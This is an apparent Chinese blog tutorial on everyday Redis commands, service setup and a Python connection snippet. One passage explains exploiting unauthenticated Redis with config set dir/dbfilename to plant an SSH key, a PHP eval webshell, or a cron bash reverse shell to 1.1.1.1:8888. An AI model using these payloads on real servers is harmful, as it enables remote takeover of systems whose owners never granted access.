redis数据库常用操作(持续更新)

redis数据库

redis数据库属于非关系型数据库,数据是键值对形式,由于在内存中执行常规的增、删、改、查操作,因此执行速度快,适用于做缓存数据库,当然除了基于内存,也可以根据需要做持久化存储(保存数据到硬盘)。

redis不仅支持简单的key-value类型(字符串string数据)的数据,同时提供列表(list),集合(set),有序集合(zset),哈希(hash)等数据结构的存储。Redis支持数据的备份,即主从(master-slave)模式的数据备份。

下面从常规的 命令行操作和python操作进行记录,基于windows服务器,redis版本3.0.504,64位。

命令行操作

1、服务器(server)端

首先,下面所有操作前提是安装好redis程序,本文略去安装过程。

(1)修改配置

进入redis安装目录,例如 “c:\Redis”,看到里面有客户端程序 redis-cli.exe、服务端程序redis-server.exe

编辑配置文件:“c:\Redis\redis.windows-service.conf”,通常的修改有:

绑定服务到本机:
bind 127.0.0.1

如果希望其他ip的主机可以访问本机redis服务,则需要注释bing所在行:
#bind 127.0.0.1

设置登录密码为111222333,确保requirepass所在行 以requirepass开头,无空格和注释符“#”。
requirepass 111222333

(2)redis服务设置

设置redis服务为系统服务:

redis-server.exe --service-install redis.windows-service.conf

开启服务(下面也可以写为Redis,因为windows系统不区分大小写)
net start redis

关闭服务
net stop redis

可以设置redis服务开机自启动

系统服务 开启有两种方式:

a、通过任务管理器
任务栏处右键,选择“任务管理器”,选择“服务”选项卡,在任意服务处右键,选择“打开服务”。
在这里插入图片描述
找到redis服务,右键修改属性,启动类型为自动。

b、通过命令行
输入:
services.msc
后续操作同a。

2、客户(client)端

(1)连接数据库

假设 ip为1.2.3.4,端口5678,分两种情况:

a、服务器无密码

redis-cli.exe -h 1.2.3.4 -p 5678

b、服务器有密码

假设密码为 ABCD2345

redis-cli.exe -h 1.2.3.4 -p 5678 -a ABCD2345

清空数据
flushall
该命令可以清空一个Redis实例中所有数据库中的数据

flushdb
该命令可以清空 当前数据库中的数据

选择数据库
select 1

查看当前数据库中的键(key)个数
dbsize

数据库信息查看
info

查看实例所属的角色
role

同步主从服务器数据
sync

查看服务器当前时间
time

将修改写入到 redis.conf 中
config rewrite

查看已连接客户端的信息
client list

键操作

# 查找
keys test*
# 检查给定 key 是否存在
exists key111
# 为给定 key 设置过期时间,以秒计
expire ttkey 60
# 为给定 key 设置过期时间,以毫秒计
pexpire ttkey 60
# 修改 key 的名称
rename oldkey newkey

(2)数据查询和设置

a、查询数据库配置信息

config get *

b、设置(插入)数据
设置 aa 键的值为 1234
set aa 1234

注意:对于redis未授权访问漏洞的利用(以用户权限足够为前提),通常是通过写入目标文件(target_file)实现的,目标文件包括:ssh公钥文件root计划任务文件,web路径的可执行文件(webshell),通用步骤:

第一步,切换目录
config set dir /root/.ssh/
或者
config set dir /var/www/html/
或者
config set dir /var/spool/cron/

第二步,建立文件
config set dbfilename "authorized_keys"
或者
config set dbfilename "test.php"
或者
config set dbfilename "root"

第三步,写入内容(ssh公钥、一句话 或者 计划任务)
set x "\n\n\n\nssh-rsa AAAAVfSatZB+kSSEwL5v70om6vLw==\n\n\n"
或者
set x "\n\n\n\n<?php @eval($_POST[abcdefg]);?>\n\n\n\n"
或者
set x "\n\n\n\n47 * * * * /bin/bash -i >& /dev/tcp/1.1.1.1/8888 0>&1\n\n\n\n"

第四步,保存设置
bgsave
或者
save

c、查询数据
查询已经设置的键aa的值
get aa
查询的键不存在时,返回 nil

d、删除数据
del aa

字符串数据操作
注意:数据值可以是字符串,也可以是数字类型(整数浮点数

为指定的 key 设置值及其过期时间(秒),如果 key 已存在,将会替换旧的值。
setex keyname 60 newvalue
查看过期时间,返回 60
ttl keyname

为指定的 key 设置值及其过期时间(毫秒),如果 key 已存在,将会替换旧的值。
psetex keyname 60 newvalue

一次获取或设置多个值

mget key1 key2 key3
mset key1 'aa' key2 'bbb'

值的自增和自减

incr key
incrby key 11
incrbyfloat key 11.2
decr key
decrby key 11

哈希hash数据操作
这里的哈希数据,有点类似由 字典构成的集合(哈希表)。
对于一条数据,组成包括哈希表的名字和对应的值,值为字典类似结构的键(字段)值对数据。

键、值查看

hkeys hashname
hvals hashname
# 字段 数量查看
hlen hashname

设置数据,表名hashname,字段名field1,值为’aaaa‘
hset hashname field1 'aaaa'
HMSET hash field1 "Hhhhh" field2 "bbbbb"

删除数据
hdel hashname field1

查看一条哈希表中所有数据,字段和值
hgetall hashname
hmget hashname field1 filed2

列表list数据操作
分为普通列表操作(命令以L开头)和阻塞操作(命令以B开头),并且是双向的列表操作,分为左(L,列表的开头)和右(R,列表的结尾)操作。

元素移除

lpop keyname
lrem keyname 1 'test'
ltrim keyname 1 -1
rpop keyname

插入数据

lpush keyname value1 value2
rpush keyname value1 value2
linsert keyname before oldvalue newvalue
lset keyname 1 'sad'

查看数据元素(切片)

lrange keyname 0 1
lindex keyname 1

阻塞pop操作,超时设置100秒
blpop key1 100

查看单条列表数据中的数据元素数量
llen keyname

集合set数据操作
元素为string。

数据添加
sadd keyname value1 value2

元素随机删除并将其返回
spop keyname

删除元素
srem keyname value1 value2

所有元素获取
smembers keyname

查看元素个数
scard keyname

判断元素是否已存在
sismember keyname value1

随机返回指定个数元素
srandmember keyname 3

差集、交集、合集

sdiff key1 key2 # elements in key1 and not in key2
sinter key1 key2 #
sunion key1 key2 #

查找匹配元素

sadd set1 "hello"  "hi" "bar"
sscan set1 0 match h*
1) "0"
2) 1) "hello"
   2) "h1"

集合间元素转移,bar元素从set1转移(剪切再粘贴)到set2
smove set1 set2 "bar"

有序集合zset数据操作

元素为string,与集合不同的是每个元素都会关联一个double类型的分数score,分数是为集合中的成员进行从小到大排序的依据。

元素添加或数据更新
zadd key score1 member1 score2 member2

成员数量统计

zcard keyname
zcount keyname 10 30

成员分数查询
zscore key member

成员分数修改
zincrby key 10 member

成员(指定分数区间)排名,按照分数从高到低

# 无withscores时,只显示排序后成员,否则,还会显示对应的分数
zrevrange key 60 80 withscores
zrangebyscore salary (5000 400000

成员删除

zrem key member
zremrangebyscore key 0 60

python操作

需要安装redis的python库,执行:

pip install redis

数据库连接操作

import redis

REDIS_HOST = 'localhost'
REDIS_PORT = 6379
REDIS_PWD = 123456
pool = redis.ConnectionPool(host=REDIS_HOST, port=REDIS_PORT, db=0, password=REDIS_PWD)

rediss = redis.StrictRedis(connection_pool=pool)

增、删、改、查操作 待补充。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值